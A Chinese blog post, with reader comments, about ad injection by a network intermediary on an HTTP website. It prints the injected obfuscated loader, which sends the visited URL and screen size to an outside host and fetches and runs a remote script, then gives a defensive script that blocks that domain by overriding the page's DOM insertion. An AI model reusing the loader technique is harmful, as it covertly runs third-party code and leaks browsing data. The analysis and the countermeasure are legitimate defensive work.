一次障蔽无良广告的记录
说起网页广告,大多说人应该是深恶痛绝的,以前在别人网站上看到右下角的广告,还以为都是网站自己挂上去的。但是今天,意外发现自己公司网站上也出现了广告,查看浏览器输出的源码,的确是多了一个js引用。但是去服务器上看一下页面源码,是纯净的呀,这大概就说明当数据通过http传输的时候,被拦截和修改了。这就好像,你有个网店,给客户发货的途中,包装上竟被人贴上了小广告,客户就是上帝,我们要顾及上帝的感受!!
(所以我们有理由怀疑:要么某个快递员不负责或做了手脚,要么某个中转点不负责或做了手脚)
网络运营商说绝对不是他们做的,工信部表示也无可奈何。我除了信,还是信了!外求无效,只能自己想办法了!
第一种:
HTTPS应该可以解决。但没用过,安全性要求不高,也就没折腾。
第二种:
通过JS来反抗。毕竟广告植入也是通过JS来做的。
下面就说说JS的方法:
发现了自己网站有广告后,又在其他网站上也有所发现,引用的js也是同一个,源码如下:
提前注意i8.js引用的位置。打开这个i8.js,发现是一段压缩过的、写法奇特的代码,为了好分析,格式化后如下:
(function(d) { function $a(p) { try { var x = d.getElementsByTagName("head")[0]; var y = x.appendChild($s(p)); setTimeout(function() { x.removeChild(y) }, 2000) } catch(e) {} } function $c(n) { return d.createElement(n) } function $s(p) { var j = $c("script"); j.src = p; j.async = true; j.type = "text/javascript"; return j } var amt = 0; function $rn() { var ww = d.body.clientWidth; var hh = d.body.clientHeight; var u = { j: "ht", c: "com.cn", q: "tp:", m: "b.", n: "wdzs", d: "i." }; var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c; var en = escape(window.location.href) + "&a=" + Math.random() + "&w=" + ww + "&h=" + hh; if (top == this) { if (ww < 300 || hh < 40) { amt += 1; if (amt < 3) { setTimeout($rn, 1000) } else { $a(be + "/fmt8p/m.php?u=" + en) } } else { $a(be + "/fmt8p/?u=" + en) } } } setTimeout($rn, 500) })(document);
有兴趣的同学可以自己分析其思路,其功能就是以容错、重试、判断屏幕大小等逻辑来加载另一个js。这里我们关注两个地方:1、加载哪个js;2、如何加载的那个js。
第一个就是上面加红的代码,其结果是:http://i.wdzsb.com.cn+本页面url+随机参数+屏幕宽高参数。
第二个就是上面加蓝的代码,执行了加入js脚本的操作。
我们知道,js闭包里的东西我们在外部是不容易修改的,(所以这段代码的作者肯定用闭包),但是js运行都在一个宿主环境中,而这里的宿主环境当然是浏览器了,js操作DOM必须要用到浏览器的宿主对象,比如window和document,上面的代码就把document这个宿主对象传入了闭包函数。
那么我们也写一段代码,anti.js的内容:
(function (d) { var invalidJSDomain = []; invalidJSDomain.push("http://i.wdzsb.com.cn"); function isValid(src) { src = src.toLowerCase(); for (var i = 0; i < invalidJSDomain.length; i++) { if (src.indexOf(invalidJSDomain[i]) > -1) { return true; } } return false; } setTimeout(function () { var head = d.getElementsByTagName('head')[0]; var orgAppendChild = head.appendChild; head.appendChild = function (node) { if (node && node.src && isValid(node.src)) { console.log('fuck you :' + node.src); } else { orgAppendChild.apply(this, arguments); } return node; }; var orgRemoveChild = head.removeChild; head.removeChild = function (node) { if (node && node.src && isValid(node.src)) { console.log('fuck you again :' + node.src); } else { orgRemoveChild.apply(this, arguments); } return node; } }, 10); } (document));
代码的功能就是修改dom元素head对象的appendChild和removeChild,通过判断引用地址,当发现添加或删除的子元素是我们禁止的,那么就fuck一下这个地址。
其实开始的时候,我只修改了appendChild方法,虽然i8.js加载不了其他js了,但是看它的代码,它的意图是加入js引用,等执行过该执行的代码,2秒后还会移除加入的js引用(想毁尸灭迹呢!)。由于加入script元素不成功,移除的时候会报错(子元素不在head里面嘛!),于是把removeChild方法也该了,修改过之后,对其他正常调用是没有影响的,这个很重要。
不采取行动之前,pc网页和手机网页广告如下:
在head里引入anti.js之后(注意:一定是在head里引用,anti.js在加入后10毫秒确保head元素加载完成。好吧,其实是可以head下面引用的,因为i8.js是500毫秒后开始执行它龌龊的操作的 )
想加入的时候,fuck它一下,想移除的时候,fuck它again!~
完!
- 12楼XiaoFaye
- 你是不是用了什么智能路由器???
- 11楼穆克拉的大表哥
- 干得漂亮 fuck fuck两次 哈哈
- 10楼无尽的数字眩晕症
- 表示忍了N久了,早就干掉它了(ˇˍˇ)
- 9楼清风神剑
- 卧槽,居然还有这种东西?编个软件轰死它
- 8楼Canrz
- 估计是网络运营商干的,自己以前也碰到过。,https://www.v2ex.com/t/285169#reply41
- 7楼xiaohuazi
- 用sqlserver?
- 6楼worldball
- 感谢楼主精彩分享
- 5楼508585
- document.getElementsByTagName(quot;headquot;)[0].appendChild = null;,直接去掉方法算了 不然杂七杂八的东西太多了
- 4楼batsing
- 几个月前,我们公司也出现过这种现象。然后老板打了几次电话去骂电信。后来又没了。至今不知是谁所为,也有怀疑过是阿里云搞的鬼。
- 3楼Honedream
- 真的只有https能解决,,我碰到的一个,是明目张胆,你打开他列表里的网站,,就直接劫持了,直接返还他设的服务器上的资源,,我发现有问题其实还是因为地址栏地址不变,,看了看源文件,才发现直接用框架给装了,,而框架里之所以能访问到相应网站是加了参数 ?xxx=xxx之类的,,面对这种,相关网站自己加脚本根本无用。,,而且这种运营商劫持,都具有区域性,,你碰到的是这种,另一个用户碰到的是那种,真的是手法千奇百怪,所以还是用https吧
- 2楼wcu1117
- 哈哈哈…学习了
- 1楼马三小伙儿
- 屌炸天!